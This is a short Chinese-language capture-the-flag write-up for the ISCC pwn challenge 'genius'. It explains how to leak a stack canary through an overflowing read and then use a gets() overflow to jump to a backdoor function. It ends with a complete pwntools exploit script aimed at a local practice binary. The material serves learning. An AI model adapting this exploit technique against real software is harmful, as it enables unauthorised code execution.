iscc挑战赛-WP
pwn
pwn01-genius
You are a genius?
开启NX以及cannary保护
IDA反编译查看,找到后门函数
程序从main函数开始,依次满足条件从function1执行到3,触发栈溢出。
我们重点看这里
看第一段读取,它会将存在栈上的buf
格式化输出出来,并且这里存在溢出,所以我们在这里利用栈溢出来泄露cannary
的值。
并且,init()
函数是后门函数
所以我们泄露出cannary
的值后利用gets()
栈溢出到后门函数这里即可。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25#!/usr/bin/env python3
from pwn import *
context.update(os='linux', arch='amd64', log_level='debug', terminal=['tmux', 'splitw', '-h'])
sh = process('./pwn')
sh.sendlineafter(b"you are a genius,yes or no?", b'no')
sh.sendlineafter(b"Sir, don't be so modest.", b'thanks')
backdoor_addr = 0x04011A6
payload = b'a' * 0x19
sh.sendafter(b'what you want in init', payload)
sh.recvuntil(b'a' * 0x19)
canary = u64(sh.recv(7).rjust(8, b'\x00'))
log.success(f"cannary: {hex(canary)}")
# gdb.attach(sh)
payload = b'a' * 0x18 + p64(canary) + b'b' * 0x08 + p64(0x04011B8) + p64(backdoor_addr)
sh.sendlineafter(b"thank you", payload)
sh.interactive()